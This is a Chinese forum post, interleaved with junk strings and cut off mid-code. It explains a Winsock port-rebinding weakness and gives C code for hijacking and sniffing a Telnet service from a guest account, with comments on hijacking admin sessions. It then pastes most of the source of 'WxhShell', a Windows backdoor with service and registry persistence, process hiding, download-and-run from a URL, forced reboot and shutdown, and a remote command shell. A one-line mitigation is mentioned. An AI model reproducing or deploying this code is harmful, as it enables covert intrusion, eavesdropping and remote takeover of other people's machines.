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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Slv:CM M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <4@8T7  
)Spa F)N8  
  saddr.sin_family = AF_INET; (]&B' 1b  
"cjD-4 2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Zy?!;`c*{  
]BRwJ2< x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :9x]5;ma  
i-p,x0th  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f w)tWJVD  
>o& %via}  
  这意味着什么?意味着可以进行如下的攻击: 9&C8c\Y  
I 0x;rP  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S5Pn6'w  
y@2"[fo3~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) g`.H)36  
~ oq.yn/1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q&NXF (  
{-]K!tWda  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  + !nf?5;  
N:#$S$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  rf'A+q  
Vu4LC&q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \`2EfYJ{  
*u,xBC2C  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 k,<7)-  
]-a/)8  
  #include [TqX"@4NS  
  #include cG@W o8+  
  #include Qz2jV  
  #include    /|h+,]< >  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xdaq` ^Bbt  
  int main() d|~'#:y@  
  { P%Q'w  
  WORD wVersionRequested; DR]oK_  
  DWORD ret; gQu!(7WLI  
  WSADATA wsaData; X>o*eN  
  BOOL val; >){}nlQf  
  SOCKADDR_IN saddr; M _cm,|FF  
  SOCKADDR_IN scaddr; "fSaM&@[B  
  int err; U;u4ey  
  SOCKET s; s,/C^E  
  SOCKET sc; ;<+Z}d/g9  
  int caddsize; K*1]P ar;  
  HANDLE mt; 0HbCT3g.  
  DWORD tid;   *r9D+}Y(4  
  wVersionRequested = MAKEWORD( 2, 2 ); 86?~N  
  err = WSAStartup( wVersionRequested, &wsaData ); a%6=sqxE  
  if ( err != 0 ) { X2,v'`U5&  
  printf("error!WSAStartup failed!\n"); Y-+Kf5_[  
  return -1; VJCj=jX  
  } 8 K)GH:a  
  saddr.sin_family = AF_INET; zJUT<%[U  
   jG}nOI  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 f8f3[O!x  
yw7bIcs|#b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); meThjCC  
  saddr.sin_port = htons(23); Gb"kl.j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y=<zR9f`  
  { "Z&_*F.[O  
  printf("error!socket failed!\n"); P+_1*lOG  
  return -1; "^ dMCS@  
  } ]z=dRq  
  val = TRUE; N6S@e\*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3Y +;8ld  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) tF<&R& =  
  { YT)1_>*\  
  printf("error!setsockopt failed!\n"); Zm6jF  
  return -1; 'r-B%D=  
  } W&I:z-VH  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; GGZ9DC\{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 auY?Cj'"fs  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Klu0m~X@  
I?\P^f  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sdd%u~4,X  
  { z`u$C+Ov  
  ret=GetLastError(); h+YPyeAs  
  printf("error!bind failed!\n"); !g|[A7<|  
  return -1; '*&V7:  
  } h{jm  
  listen(s,2); I-kK^_0mV<  
  while(1) fti0Tz'  
  { }y(cv}8Y  
  caddsize = sizeof(scaddr); KxFA@3  
  //接受连接请求 c2s73i z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); o(D_ /]'8  
  if(sc!=INVALID_SOCKET) 20Jlf?  
  { rCA0c8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ICG:4n(,  
  if(mt==NULL) pk;S"cnk  
  { ds{)p<LpT  
  printf("Thread Creat Failed!\n"); Y10  
  break; +I:/8,&-x  
  } #a]\3X  
  } ;uZeYY?   
  CloseHandle(mt); !<X/_+G\  
  } ?fc<3q"  
  closesocket(s); "/taatcH  
  WSACleanup(); B~O<?@]d  
  return 0; *N6sxFs  
  }   U` )d `4"  
  DWORD WINAPI ClientThread(LPVOID lpParam) tpgD{BY^wJ  
  { FysIN~  
  SOCKET ss = (SOCKET)lpParam; Qdc)S>gp  
  SOCKET sc; _tQM<~Y]u\  
  unsigned char buf[4096]; l Yj$ 3  
  SOCKADDR_IN saddr; onv0gb/J  
  long num; 2@N-#x '  
  DWORD val; Dj0D.}`~  
  DWORD ret; 0juP"v$C>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 QV#HN"F/K  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   uFvR(LDb&g  
  saddr.sin_family = AF_INET; 3?!c<^"e  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]&='E.f  
  saddr.sin_port = htons(23); e_S,N0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (8NE'd8  
  { d@Wze[M?0  
  printf("error!socket failed!\n"); }p8iq  
  return -1; Y|KT3  
  } Cw5 B p9  
  val = 100; nLrCy5R:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @j(2tJ,w  
  { 6"r _Y7%  
  ret = GetLastError(); a:1$idj  
  return -1; _vAc/_ N  
  } F"' (i  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T w1&<S  
  { $$B#S '  
  ret = GetLastError(); [l~G7u.d  
  return -1; diKl}V#u  
  } q$<VLrx  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) wkJ@#jD*[  
  { g/w <T+v  
  printf("error!socket connect failed!\n"); iBKH\em/  
  closesocket(sc); od&wfwk(  
  closesocket(ss); %9L+ Q1o  
  return -1; lxR]Bh+  
  } @)ls+}=Y  
  while(1) _]0<G8|Rv  
  { YlZ&4   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 pqohLA  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !bn=b>+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &}#zG5eu  
  num = recv(ss,buf,4096,0); ]KUeSg|  
  if(num>0) 9!dG Xq  
  send(sc,buf,num,0); +z~bH!$2  
  else if(num==0) z6Nz)$!_i  
  break; J)H*tzg  
  num = recv(sc,buf,4096,0); "_+8z_  
  if(num>0) p$Floubh]  
  send(ss,buf,num,0); -x!JTx[K  
  else if(num==0) m`tX&K#-  
  break; 2=VFUR 8  
  } q{L-(!uz7_  
  closesocket(ss); xd+aO=)Td  
  closesocket(sc); `"#hhKG  
  return 0 ; 12tAx3p  
  } IGA4"\s  
]r\!Z <<(  
'*G8;91u  
========================================================== r( bA>L*mk  
UhU"[^YO  
下边附上一个代码,,WXhSHELL $OzVo&P;  
TALiH'w6|e  
========================================================== fBBtS S  
g6OPYUPg  
#include "stdafx.h" nIfp0U*  
e0]%ko"  
#include <stdio.h> j=u) z7J  
#include <string.h> P9jSLM  
#include <windows.h> qv<^%7gq  
#include <winsock2.h> (7"CYAe:;  
#include <winsvc.h> CFu^i|7o  
#include <urlmon.h> ~sNBklK  
sH%Ts@Pl  
#pragma comment (lib, "Ws2_32.lib") tLP Er@  
#pragma comment (lib, "urlmon.lib") G4\|bwh  
TRE D_6  
#define MAX_USER   100 // 最大客户端连接数 0W)|n9  
#define BUF_SOCK   200 // sock buffer +$#h6V  
#define KEY_BUFF   255 // 输入 buffer okO\A^F  
sDBwD%sb  
#define REBOOT     0   // 重启 EZZE(dq@gf  
#define SHUTDOWN   1   // 关机 oE,TA2  
1So`]N4  
#define DEF_PORT   5000 // 监听端口 !L2!:_  
PE?ICou  
#define REG_LEN     16   // 注册表键长度 CF : !  
#define SVC_LEN     80   // NT服务名长度 Zlrbd  
DbYnd%k*4  
// 从dll定义API )OK"H^}f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h%sw^;\!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Fx:4d$>;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <00=bZzX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SErh"~[  
NIp]n[ =.q  
// wxhshell配置信息 tY#Zl 54~{  
struct WSCFG { `w)yR>lqh  
  int ws_port;         // 监听端口 <s$Jj><  
  char ws_passstr[REG_LEN]; // 口令 j_z@VT}y  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?[)V  
  char ws_regname[REG_LEN]; // 注册表键名 S.pXo'}  
  char ws_svcname[REG_LEN]; // 服务名 }-Jo9dNs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z=]ujlD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ; FHnu|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lWBewnLKE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LyG`q3@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lcVG<*gf-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C* 0Z F  
}%D${.R]  
}; {Ia$!q)  
w zi7pJjXh  
// default Wxhshell configuration |+qsO ;  
struct WSCFG wscfg={DEF_PORT, !=u=P9I  
    "xuhuanlingzhe", _`,ZI{.J^  
    1, Q(4~r+  
    "Wxhshell", wn\ R|'Rdz  
    "Wxhshell", v4Kf{9q#  
            "WxhShell Service", ]2A2<Q_,  
    "Wrsky Windows CmdShell Service", ^ ~dC&!D  
    "Please Input Your Password: ", 3Z7gPU!H=  
  1, d ]jF0Wx*  
  "http://www.wrsky.com/wxhshell.exe",  pQ7<\8s*  
  "Wxhshell.exe" C u1G8t-  
    }; uG-S$n"7K  
CY$ 1;/  
// 消息定义模块 :m>Vp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PzustC|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BnaI30-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;J:*r0  
char *msg_ws_ext="\n\rExit."; $f>(TW  
char *msg_ws_end="\n\rQuit."; cg9*+]rc  
char *msg_ws_boot="\n\rReboot..."; =)a %,H  
char *msg_ws_poff="\n\rShutdown..."; q#\B}'I{  
char *msg_ws_down="\n\rSave to "; +{#Z^y6&  
9_ ~9?5PU  
char *msg_ws_err="\n\rErr!"; >:BgatyPH  
char *msg_ws_ok="\n\rOK!"; Iz>\qC}  
sn]D7Ae  
char ExeFile[MAX_PATH]; .:e#!~Ki  
int nUser = 0; 8~g~XUl  
HANDLE handles[MAX_USER]; Rm~8n;7oOr  
int OsIsNt; RLcC>Z  
ZvK.X*~s  
SERVICE_STATUS       serviceStatus; N,:G5WxW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X1BqN+=@9  
Dn#UcMO>W  
// 函数声明 +fq\K]  
int Install(void); f*T}Ov4  
int Uninstall(void); SL +\{V2  
int DownloadFile(char *sURL, SOCKET wsh); ]Rxrt~ ZB  
int Boot(int flag); OF:0jOW  
void HideProc(void); ZP-9KA$"  
int GetOsVer(void); ]cW Q9  
int Wxhshell(SOCKET wsl); G&4D0f  
void TalkWithClient(void *cs); 5xU}}[|~-  
int CmdShell(SOCKET sock); I.`D BI#-f  
int StartFromService(void); H}(WL+7  
int StartWxhshell(LPSTR lpCmdLine); Yu9VtC1  
XinKG< 3!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $4og{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'pF$6n;  
S"`{ JCW$  
// 数据结构和表定义 L=P8;Gj)  
SERVICE_TABLE_ENTRY DispatchTable[] = dCLNZq h6  
{ /+WC6&  
{wscfg.ws_svcname, NTServiceMain}, Ds{bYK_y  
{NULL, NULL} ,wy;7T>ODd  
}; Y@qugQM>  
f 0~Z@\  
// 自我安装 7e D` is  
int Install(void) n8D'fvY  
{ a.ijc>K  
  char svExeFile[MAX_PATH]; GoPMWbI7  
  HKEY key; @gQ?cU7  
  strcpy(svExeFile,ExeFile); l>J%Q^  
ZT`" {#L  
// 如果是win9x系统,修改注册表设为自启动 MJa` 4[/  
if(!OsIsNt) { "#iO{uMWb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yq:/dpA_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e-.(O8  
  RegCloseKey(key); 1f?Fuw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uzLm TmM+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9Vt6);cA-]  
  RegCloseKey(key); jwI1 I{x  
  return 0; -O?A"  
    } p:ZQ*Ue  
  } A5[kYD,_  
} lLK||2d  
else { Yk*_u}?#  
V9%9nR!'  
// 如果是NT以上系统,安装为系统服务 u;b6uE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XjYMp3  
if (schSCManager!=0) n"Jj'8k  
{ hqwsgJ  
  SC_HANDLE schService = CreateService wzZ]| C(vp  
  ( YfNN&G4_  
  schSCManager, Iv{iJoe;UH  
  wscfg.ws_svcname, QD1&"T<.d.  
  wscfg.ws_svcdisp, IWwOP{ <ZQ  
  SERVICE_ALL_ACCESS, C[;7i!Dv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F>E_d<m  
  SERVICE_AUTO_START, brL u~]I  
  SERVICE_ERROR_NORMAL, {nS(B  
  svExeFile, RusiCo!r  
  NULL, ?*<1B  
  NULL, 5r;)Ppo  
  NULL, 1k"i"kRM  
  NULL, vi[~Qt  
  NULL B =DV!oUg  
  ); pTJ_DH  
  if (schService!=0) )5Cqyp~P  
  { >z,Y%A  
  CloseServiceHandle(schService); &?gcnMg$,J  
  CloseServiceHandle(schSCManager); R/2L9Lcv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H D,6  
  strcat(svExeFile,wscfg.ws_svcname); #}8VUbJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OSom-?|w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); psS^  
  RegCloseKey(key); $-E<{   
  return 0; "'>fTk_  
    } ]*0t?'go'  
  } !u`f?=s;  
  CloseServiceHandle(schSCManager); O_5;?$[m  
} e0#{'_C  
} @#9xSs#  
tao9icl*`  
return 1; P#;pQC  
} kjSzu qB  
-7EwZRS@9  
// 自我卸载 77 ?TRC  
int Uninstall(void) sr~VvciIy  
{ % 5BSXAc  
  HKEY key; C3 m_sv#e  
Gr3 q  
if(!OsIsNt) { DG3Mcf@5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ADMeOdgca  
  RegDeleteValue(key,wscfg.ws_regname); %H}M[_f  
  RegCloseKey(key); w}29#F\]R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 48!F!v,j)x  
  RegDeleteValue(key,wscfg.ws_regname); ~fO#En  
  RegCloseKey(key); &d"s cM5  
  return 0; >q&e.-qL  
  } Kke _?/fT  
} U/7jK40  
} E,4*a5Fi  
else { }E)t,T>  
s2nZW pIy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >PGsY[N  
if (schSCManager!=0) YT@H^=  
{ rPHM_fW(O@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fo I:`]2"*  
  if (schService!=0) V0gu0+u~R  
  { W5&KmA  
  if(DeleteService(schService)!=0) { \ow(4O#  
  CloseServiceHandle(schService); q?f-h<yRQ  
  CloseServiceHandle(schSCManager); -BsZw. 7P  
  return 0; -1R7 8(1  
  } 2%]#rZ  
  CloseServiceHandle(schService); `Cu9y+t  
  } t4-0mNBZt$  
  CloseServiceHandle(schSCManager); ^brh\M,:@  
} %\%&1  
} mn\GLR.  
Qb:.WMj[q+  
return 1; XK(aH~7xme  
} nYK!'x$  
vE~<R  
// 从指定url下载文件 4 @9cO)m  
int DownloadFile(char *sURL, SOCKET wsh) v/`#Gu^P  
{ s1T}hp  
  HRESULT hr; 14y>~~3C4  
char seps[]= "/"; Ej`G(  
char *token; RLDu5  
char *file; t1aKq)?  
char myURL[MAX_PATH]; ay=f1<a  
char myFILE[MAX_PATH]; HA0yX?f]  
h:vI:V[/X  
strcpy(myURL,sURL); y!\q ', F  
  token=strtok(myURL,seps); qmnW  
  while(token!=NULL) , w_C~XN$t  
  { /(i~Hpp  
    file=token; S's I[?\x  
  token=strtok(NULL,seps); J!zL)u|  
  } QmsS,Zljo  
r;fcBepO  
GetCurrentDirectory(MAX_PATH,myFILE); 8sL+ik"  
strcat(myFILE, "\\"); j*_#{niy:  
strcat(myFILE, file); 5)M#hx%]#  
  send(wsh,myFILE,strlen(myFILE),0); o^BX:\}  
send(wsh,"...",3,0); Vb~;"WABo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l +O\oD?-  
  if(hr==S_OK) b28C (  
return 0; SLud}|f;o  
else &Fch{%S>  
return 1; 1 ,6Y)_  
?/KkN3Y_j[  
} H"|oI|~  
"6iq_!#L  
// 系统电源模块 A@w9_qo  
int Boot(int flag) v<?k$ e5  
{  PO=A^b  
  HANDLE hToken; 0-U%R)Q  
  TOKEN_PRIVILEGES tkp; TI3@/SB>  
FsfP^a  
  if(OsIsNt) { W1UqvaR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N3Z6o.k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (m=F  
    tkp.PrivilegeCount = 1; w{Y:p[}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rVnolA*%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SJ:Wr{ Or3  
if(flag==REBOOT) { 0U:9&j P,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^^gV@fz  
  return 0; 0ac'<;9]zP  
} "=9)|{=m  
else { @z(s\T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m pM,&7}  
  return 0; NW?h~2  
} XN'<H(G  
  } Fi#b0S  
  else { U9q6m3#$  
if(flag==REBOOT) { Za1VJ5-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,j\UZ  
  return 0; t$*CyYb{@  
} y1Yrf,E m=  
else { Hp3T2|uL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |B@\Nf7  
  return 0; +/8KN  
} Yo2n [  
} "H)D~K~ *  
Z`'&yG;U  
return 1; XO4rrAYvW  
} u[coWaPsZ  
AW`+lE'?  
// win9x进程隐藏模块 1;[ZkRbzL  
void HideProc(void) 4m/L5W:K  
{ J<7nOB}OD  
 xXZ {  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  /w(t=Y  
  if ( hKernel != NULL ) 7vK}aOs0  
  { WR4\dsgCU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #pp6 ycy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =tfS@o/n  
    FreeLibrary(hKernel); `T$CUlt6  
  } 4031~A8  
mybjcsV4  
return; ZCCwx71j  
} FtxmCIVIV~  
bA3pDt).p  
// 获取操作系统版本 gA:N>w&<X  
int GetOsVer(void) Twr<MXa  
{ ~,P."  
  OSVERSIONINFO winfo; Kyq/o-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n4Eqm33  
  GetVersionEx(&winfo); z8n]6FDiE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =Ev* Q[  
  return 1; q|wwfPez7  
  else \BxE0GGky  
  return 0; v8o{3wJ  
} (]p,Z <f  
,;-55|o\V  
// 客户端句柄模块 1\BQq  
int Wxhshell(SOCKET wsl) 9WsGoZP n  
{ ` Ui|T  
  SOCKET wsh; /YH5s=  
  struct sockaddr_in client; ih/MW_t=m=  
  DWORD myID; =lqGt.x  
j`kw2(  
  while(nUser<MAX_USER) X{b qG]j  
{ uE{nnNZy  
  int nSize=sizeof(client); vOYG&)Jm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B*j AD2  
  if(wsh==INVALID_SOCKET) return 1; 2x&mJ}o#k  
QBfsdu<@^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'Ijjk`d&c  
if(handles[nUser]==0) !&OybjQ  
  closesocket(wsh); Z'L}x6  
else Y;WHjW(K  
  nUser++; y%x2  
  } ~Fd<d[b?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N_"mC^Vx  
, H_Cn1l  
  return 0; 1]vrpJw  
} uyITUvPg[  
m;d#*}n\p  
// 关闭 socket 6?v)Hb}J%d  
void CloseIt(SOCKET wsh) 6Q.6  
{ AHre#$`97  
closesocket(wsh); L0O},O  
nUser--; 7 -hSso.'  
ExitThread(0); 8_@#5  
} hE"a(i  
_PeBV<  
// 客户端请求句柄 NbtNu$%t  
void TalkWithClient(void *cs) O7z -4r  
{ ^s&1,  
4^mpQ.]lO  
  SOCKET wsh=(SOCKET)cs; Cp 2$I<T  
  char pwd[SVC_LEN]; @< @\CiM  
  char cmd[KEY_BUFF]; ^q0Ox&X  
char chr[1]; $pm5G} .  
int i,j; Z@I.socA  
T};fy+iq  
  while (nUser < MAX_USER) { E#=slj @  
r!vSYgee  
if(wscfg.ws_passstr) { `kd P)lI `  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7TjK;w7xS.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7#BpGQJQ  
  //ZeroMemory(pwd,KEY_BUFF); hw [G  
      i=0; K2glkGK  
  while(i<SVC_LEN) { _pv<_ Sm  
R8 lBh Ls  
  // 设置超时 45;{tS.z,B  
  fd_set FdRead; CYZx/r<  
  struct timeval TimeOut; ?=;dNS@i@  
  FD_ZERO(&FdRead); OJL?[<I  
  FD_SET(wsh,&FdRead); /M;A)z  
  TimeOut.tv_sec=8; MR@*09zP(?  
  TimeOut.tv_usec=0; {-( B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =gb.%a{R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ol9'ZB|R  
wtDy-H n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ` qqUuFMM  
  pwd=chr[0]; C=6Vd  
  if(chr[0]==0xd || chr[0]==0xa) { [p+6HF  
  pwd=0; O)qedy*&  
  break; p9[J 9D3~  
  } > T,^n {_v  
  i++; 0b0.xz\~U  
    } &?=UP4[oif  
W^Jh'^E  
  // 如果是非法用户,关闭 socket 5};Nv{km^2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )kSE5|:pi  
} b=!G3wVw<  
mV0.9pxS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 09{B6l6P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n)(E 0h  
4{d!}R  
while(1) { p<\yp<g  
`4& GumG  
  ZeroMemory(cmd,KEY_BUFF); OE(Z)|LF  
D<zgs2Ex  
      // 自动支持客户端 telnet标准   3sf+ uoV  
  j=0; >900O4  
  while(j<KEY_BUFF) { IGj%)_W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bojx:g  
  cmd[j]=chr[0]; q1Vh]d  
  if(chr[0]==0xa || chr[0]==0xd) { ZlHN-!OZp  
  cmd[j]=0; =8?gx$r2  
  break; FL+^r6DQ  
  } j"aimjqd3  
  j++; ei>8{v&g  
    } h5-<2B|  
tc%?{W\  
  // 下载文件 }>\+eG  
  if(strstr(cmd,"http://")) { c[4  H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !Qu)JR  
  if(DownloadFile(cmd,wsh)) :_%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^h z4IZ^  
  else gOpGwpYZ,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); er Cl@sq  
  } !tkP!%w  
  else { 2G'Au}q0n  
wD-(3ZVd4  
    switch(cmd[0]) { aO9a G*9T  
  Z?H#=|U  
  // 帮助 ,ufB*[~  
  case '?': { GVT+c@Gx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *%^Vq  
    break; iol.RszlZ|  
  } URbu=U  
  // 安装 DS,"^K  
  case 'i': { }5Yd:%u5  
    if(Install()) jFBLElE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'OKDB7Ni  
    else beyC't  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UwuDs2 t  
    break; /`YHPeXu  
    } #\kYGr-G)  
  // 卸载 %Y"@VcN  
  case 'r': { [:geDk9O#'  
    if(Uninstall()) Tti]H9g_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cf'O*RFD  
    else =FkU: q$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $*ujX,}xG  
    break; zT[[WY4  
    } :^+ aJ]  
  // 显示 wxhshell 所在路径 K8{Ub  
  case 'p': { F2yc&mXyk  
    char svExeFile[MAX_PATH]; |kL^k{=zV  
    strcpy(svExeFile,"\n\r"); ^Jb=&u$  
      strcat(svExeFile,ExeFile); wXv\[z L`  
        send(wsh,svExeFile,strlen(svExeFile),0); Hn%n>Bnl  
    break; iX8& mUR  
    } ,}i`1E1=  
  // 重启 Z }(,OZh  
  case 'b': { Z!Njfq5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `wt*7~'=  
    if(Boot(REBOOT)) lLy^@s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P8jXruZr  
    else { \8%64ZL`  
    closesocket(wsh); zfDx c3e  
    ExitThread(0); J>(I"K%  
    } =k#SQ/@  
    break; L 0?-W%$>  
    } L Of0_g/  
  // 关机 f S50  
  case 'd': { KUG\C\z6=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `<>Emc8Z  
